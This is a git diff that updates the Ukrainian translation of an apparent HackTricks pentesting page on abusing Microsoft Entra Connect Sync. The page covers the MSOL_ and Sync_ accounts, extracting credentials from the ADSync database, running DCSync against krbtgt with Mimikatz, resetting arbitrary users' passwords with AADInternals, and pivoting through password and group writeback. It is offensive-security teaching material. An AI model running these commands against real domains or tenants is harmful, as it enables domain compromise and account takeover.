diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md index 01b6e0eb4..92be3aad2 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md @@ -2,63 +2,67 @@ {{#include ../../../banners/hacktricks-training.md}} -## Основна інформація +## Базова інформація -[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) є основним компонентом Microsoft Entra Connect. Він відповідає за всі операції, пов'язані з синхронізацією даних про ідентичність між вашим локальним середовищем і Microsoft Entra ID. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) — це основний компонент Microsoft Entra Connect. Він відповідає за всі операції, пов’язані із синхронізацією даних ідентичності між вашим локальним середовищем і Microsoft Entra ID. + +Служба синхронізації складається з двох компонентів: локального компонента **Microsoft Entra Connect Sync** та серверної сторони в Microsoft Entra ID під назвою **Microsoft Entra Connect Sync service**. + +Щоб використовувати її, потрібно встановити агент **`Microsoft Entra Connect Sync`** на сервер у вашому AD-середовищі. Цей агент опікується синхронізацією з боку AD. -Щоб його використовувати, потрібно встановити агент **`Microsoft Entra Connect Sync`** на сервері в вашому середовищі AD. Цей агент буде відповідати за синхронізацію з боку AD.
-**Connect Sync** - це, по суті, "старий" спосіб Azure для **синхронізації користувачів з AD в Entra ID.** Новий рекомендований спосіб - це використання **Entra Cloud Sync**: +**Connect Sync** — це по суті «старий» спосіб Azure для **синхронізації користувачів з AD в Entra ID.** Новіший рекомендований спосіб — використання **Entra Cloud Sync**: {{#ref}} az-cloud-sync.md {{#endref}} -### Згенеровані принципали +### Згенеровані principals -- Обліковий запис **`MSOL_`** автоматично створюється в локальному AD. Цей обліковий запис отримує роль **Directory Synchronization Accounts** (див. [документацію](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), що означає, що він має **дозволи на реплікацію (DCSync) в локальному AD**. +- Обліковий запис **`MSOL_`** автоматично створюється в локальному AD. Цьому обліковому запису присвоєно роль **Directory Synchronization Accounts** (див. [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), що означає, що він має **реплікаційні (DCSync) права в локальному AD**. - Це означає, що будь-хто, хто скомпрометує цей обліковий запис, зможе скомпрометувати локальний домен. -- У локальному AD створюється керований обліковий запис служби **`ADSyncMSA`** без будь-яких спеціальних привілеїв за замовчуванням. -- У Entra ID створюється обліковий принципал **`ConnectSyncProvisioning_ConnectSync_`** з сертифікатом. +- У локальному AD створюється керований обліковий запис служби **`ADSyncMSA`** без якихось спеціальних привілеїв за замовчуванням. +- В Entra ID створюється Service Principal **`ConnectSyncProvisioning_ConnectSync_`** з сертифікатом. ## Синхронізація паролів ### Синхронізація хешів паролів -Цей компонент також може бути використаний для **синхронізації паролів з AD в Entra ID**, щоб користувачі могли використовувати свої паролі AD для підключення до Entra ID. Для цього потрібно дозволити синхронізацію хешів паролів в агенті Microsoft Entra Connect Sync, встановленому на сервері AD. +Ця компонента також може використовуватись для **синхронізації паролів з AD в Entra ID**, щоб користувачі могли використовувати свої паролі AD для входу в Entra ID. Для цього потрібно дозволити синхронізацію хешів паролів в агенті Microsoft Entra Connect Sync, встановленому на сервері AD. -[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Синхронізація хешів паролів** є одним з методів входу, що використовується для досягнення гібридної ідентичності. **Azure AD Connect** синхронізує хеш, хешу, пароля користувача з локальної інстанції Active Directory до хмарної інстанції Azure AD. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** — один із способів входу, який використовується для досягнення гібридної ідентичності. **Azure AD Connect** синхронізує хеш, від хешу, пароля користувача з локального Active Directory до хмарного екземпляра Azure AD. -По суті, всі **користувачі** та **хеш паролів** синхронізуються з локального AD в Azure AD. Однак **паролі у відкритому тексті** або **оригінальні** **хеші** не надсилаються в Azure AD. +По суті, усі **користувачі** та **хеш від хешів паролів** синхронізуються з локального AD в Azure AD. Однак **паролі у відкритому тексті** або **оригінальні** **хеші** не передаються в Azure AD. -**Синхронізація хешів** відбувається кожні **2 хвилини**. Однак за замовчуванням **терміни дії паролів** та **терміни дії облікових записів** **не синхронізуються** в Azure AD. Тому користувач, чий **локальний пароль прострочений** (не змінений), може продовжувати **доступ до ресурсів Azure** за допомогою старого пароля. +Синхронізація хешів відбувається кожні **2 хвилини**. Однак за замовчуванням **закінчення строку дії пароля** та **закінчення строку облікового запису** **не синхронізуються** в Azure AD. Тому користувач, у якого **локально пароль закінчився** (не було змінено), може продовжувати **доступ до ресурсів Azure**, використовуючи старий пароль. -Коли локальний користувач хоче отримати доступ до ресурсу Azure, **автентифікація відбувається в Azure AD**. +Коли локальний користувач намагається отримати доступ до ресурсу Azure, **аутентифікація відбувається в Azure AD**. > [!NOTE] -> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які отримали високі привілеї безпосередньо, **можуть бути синхронізовані**. +> За замовчуванням користувачі відомих привілейованих груп, наприклад Domain Admins з атрибутом **`adminCount` рівним 1, не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або яким напряму призначено високі привілеї, **можуть бути синхронізовані**. -### Запис паролів -Ця конфігурація дозволяє **синхронізувати паролі з Entra ID в AD**, коли користувач змінює свій пароль в Entra ID. Зверніть увагу, що для роботи запису паролів користувачу `MSOL_`, автоматично згенерованому в AD, потрібно надати [більше привілеїв, як зазначено в документації](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), щоб він міг **змінювати паролі будь-якого користувача в AD**. +### Password Writeback + +Ця конфігурація дозволяє **синхронізувати паролі з Entra ID в AD**, коли користувач змінює пароль в Entra ID. Зверніть увагу, що для роботи password writeback обліковому запису `MSOL_`, автоматично згенерованому в AD, потрібно надати [додаткові привілеї, як зазначено в документації](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), щоб він міг **змінювати паролі будь-якого користувача в AD**. Це особливо цікаво для компрометації AD з скомпрометованого Entra ID, оскільки ви зможете змінити пароль "майже" будь-якого користувача. -Адміністратори домену та інші користувачі, що належать до деяких привілейованих груп, не реплікуються, якщо група має атрибут **`adminCount` до 1**. Але інші користувачі, яким були надані високі привілеї в AD, не належачи до жодної з цих груп, можуть змінити свій пароль. Наприклад: +Domain admins та інші користувачі, що належать до деяких привілейованих груп, не реплікуються, якщо група має атрибут **`adminCount` рівний 1**. Але інші користувачі, яким напряму присвоєно високі привілеї всередині AD без належності до таких груп, можуть мати змінений пароль. Наприклад: -- Користувачі, яким були надані високі привілеї безпосередньо. +- Користувачі з присвоєними напряму високими привілеями. - Користувачі з групи **`DNSAdmins`**. -- Користувачі з групи **`Group Policy Creator Owners`**, які створили GPO та призначили їх OUs, зможуть змінювати GPO, які вони створили. -- Користувачі з групи **`Cert Publishers Group`**, які можуть публікувати сертифікати в Active Directory. -- Користувачі будь-якої іншої групи з високими привілеями без атрибута **`adminCount` до 1**. +- Користувачі з групи **`Group Policy Creator Owners`**, які створили GPO і призначили їх OU, зможуть змінювати створені ними GPO. +- Користувачі з групи **`Cert Publishers`**, які можуть публікувати сертифікати в Active Directory. +- Користувачі будь-якої іншої групи з високими привілеями без атрибута **`adminCount` рівного 1**. -## Півотування AD --> Entra ID +## Pivoting AD --> Entra ID -### Перерахунок Connect Sync +### Enumerating Connect Sync -Перевірте користувачів: +Check for users: ```bash # Check for the users created by the Connect Sync Install-WindowsFeature RSAT-AD-PowerShell @@ -76,23 +80,23 @@ $searcher.FindAll() $searcher.Filter = "(samAccountName=Sync_*)" $searcher.FindAll() ``` -Перевірте **конфігурацію Connect Sync** (якщо є): +Перевірте **Connect Sync налаштування** (якщо такі є): ```bash az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization" # Check if password sychronization is enabled, if password and group writeback are enabled... ``` ### Знаходження паролів -Паролі користувача **`MSOL_*`** (та користувача **Sync\_\***, якщо він створений) **зберігаються в SQL сервері** на сервері, де **встановлено Entra ID Connect.** Адміністратори можуть витягувати паролі цих привілейованих користувачів у відкритому вигляді.\ +Паролі користувача **`MSOL_*`** (а також користувача **Sync\_\***, якщо створено) **зберігаються в SQL server** на сервері, де встановлено **Entra ID Connect.** Адміни можуть витягнути паролі цих привілейованих користувачів у відкритому вигляді.\\ База даних знаходиться за адресою `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. -Можна витягти конфігурацію з однієї з таблиць, одна з яких зашифрована: +Можна витягти конфігурацію з однієї з таблиць; одна з них зашифрована: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в on-prem AD та пароль **Sync\_\*** в AzureAD. Тому, компрометуючи ці дані, можна підвищити привілеї до AD та AzureAD. +**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в on-prem AD та пароль **Sync\_\*** в AzureAD. Тому, скомпрометувавши їх, можлива privesc до AD та до AzureAD. -Ви можете знайти [повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді](https://www.youtube.com/watch?v=JEIR5oGCwdg). +You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg). ### Зловживання MSOL\_\* ```bash @@ -112,34 +116,35 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!WARNING] -> Попередні атаки скомпрометували інший пароль, щоб потім підключитися до користувача Entra ID з ім'ям `Sync_*` і скомпрометувати Entra ID. Однак цей користувач більше не існує. +> Раніші атаки скомпрометували інший пароль, щоб потім підключитися до користувача Entra ID з ім'ям `Sync_*` і таким чином скомпрометувати Entra ID. Проте цей користувач більше не існує. -### Зловживання ConnectSyncProvisioning_ConnectSync\_ -Цей додаток створюється без призначення будь-яких ролей управління Entra ID або Azure. Однак він має такі API дозволи: +### Зловживання ConnectSyncProvisioning_ConnectSync_ + +Цей додаток створено без призначених ролей управління Entra ID або Azure. Проте він має такі дозволи API: - Microsoft Entra AD Synchronization Service - `ADSynchronization.ReadWrite.All` -- Microsoft служба скидання паролів +- Microsoft password reset service - `PasswordWriteback.OffboardClient.All` - `PasswordWriteback.RefreshClient.All` - `PasswordWriteback.RegisterClientVersion.All` -Зазначено, що SP цього додатку все ще може бути використаний для виконання деяких привілейованих дій за допомогою не задокументованого API, але, наскільки мені відомо, жодного PoC ще не знайдено.\ -У будь-якому випадку, вважаючи, що це може бути можливим, було б цікаво далі дослідити, як знайти сертифікат для входу як цей сервісний принципал і спробувати зловживати ним. +Зазначається, що SP цього додатка все ще може використовуватися для виконання деяких привілейованих дій через недокументований API, але PoC наразі не знайдено, наскільки відомо.\ +У будь-якому разі, вважаючи, що це може бути можливим, цікаво дослідити, як знайти сертифікат для входу як цей service principal і спробувати зловживати ним. -Цей [блог пост](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) був опублікований незадовго до зміни з використання користувача `Sync_*` на цього сервісного принципала, пояснив, що сертифікат зберігався всередині сервера і його можна було знайти, згенерувати PoP (Proof of Possession) і граф токен, і з цим мати можливість додати новий сертифікат до сервісного принципала (оскільки **сервісний принципал** завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки постійності як SP. +Цей [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), опублікований незабаром після переходу від використання користувача `Sync_*` до цього service principal, пояснював, що сертифікат зберігався на сервері і його можна було знайти, згенерувати PoP (Proof of Possession) для нього та graph token, і з його допомогою додати новий сертифікат до service principal (оскільки **service principal** завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки персистенції як SP. -Для виконання цих дій опубліковані наступні інструменти: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). +Щоб виконати ці дії, опубліковано такі інструменти: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). -На мою думку, сертифікат більше не зберігається в тому місці, де попередній інструмент його шукав, і тому інструмент більше не працює. Тому може знадобитися подальше дослідження. +Згідно з [this question](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), щоб знайти сертифікат, потрібно запустити інструмент з процесу, який **вкрав токен процесу `miiserver`**. -### Зловживання Sync\_\* [DEPRECATED] +### Зловживання Sync\_* [DEPRECATED] > [!WARNING] -> Раніше в Entra ID був створений користувач з ім'ям `Sync_*` з дуже чутливими дозволами, які дозволяли виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до сервісного принципала. Однак з січня 2025 року цей користувач більше не створюється за замовчуванням, оскільки тепер використовується додаток/SP **`ConnectSyncProvisioning_ConnectSync_`**. Однак він все ще може бути присутнім в деяких середовищах, тому варто перевірити його наявність. +> Раніше в Entra ID створювався користувач з ім'ям `Sync_*` з дуже чутливими дозволами, що дозволяло виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до service principal. Однак з Jan2025 цей користувач більше не створюється за замовчуванням, оскільки тепер використовується Application/SP **`ConnectSyncProvisioning_ConnectSync_`**. Проте він може все ще бути присутній у деяких середовищах, тому варто перевірити його. -Скомпрометувавши обліковий запис **`Sync_*`**, можна **скинути пароль** будь-якого користувача (включаючи глобальних адміністраторів). +Скомпрометувавши обліковий запис **`Sync_*`**, можна **скинути пароль** будь-якого користувача (включно з Global Administrators) ```bash Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version Import-Module AADInternals @@ -163,7 +168,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це неочікувано) +Також можливо **змінити паролі лише cloud** користувачів (навіть якщо це несподівано) ```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -172,25 +177,25 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -Також можливо скинути пароль цього користувача. +Також можливо витягти пароль цього користувача. > [!CAUTION] -> Інший варіант - це **призначити привілейовані дозволи для сервісного принципала**, що **Sync** користувач має **дозволи** робити, а потім **отримати доступ до цього сервісного принципала** як спосіб підвищення привілеїв. +> Іншим варіантом було б **assign privileged permissions to a service principal**, що **Sync** користувач має **permissions** виконувати, а потім **access that service principal** як спосіб privesc. -### Безшовний SSO +### Seamless SSO -Можливо використовувати безшовний SSO з PHS, який вразливий до інших зловживань. Перевірте це в: +Можна використовувати Seamless SSO з PHS, що вразливе до інших зловживань. Перегляньте це в: {{#ref}} az-seamless-sso.md {{#endref}} -## Півотування Entra ID --> AD +## Pivoting Entra ID --> AD -- Якщо увімкнено запис паролів, ви можете **змінити пароль будь-якого користувача в AD**, який синхронізується з Entra ID. -- Якщо увімкнено запис груп, ви можете **додати користувачів до привілейованих груп** в Entra ID, які синхронізуються з AD. +- Якщо password writeback увімкнено, ви можете **змінити пароль будь-якого користувача в AD**, який синхронізований з Entra ID. +- Якщо groups writeback увімкнено, ви можете **додавати користувачів до привілейованих груп** в Entra ID, які синхронізовані з AD. -## Посилання +## References - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)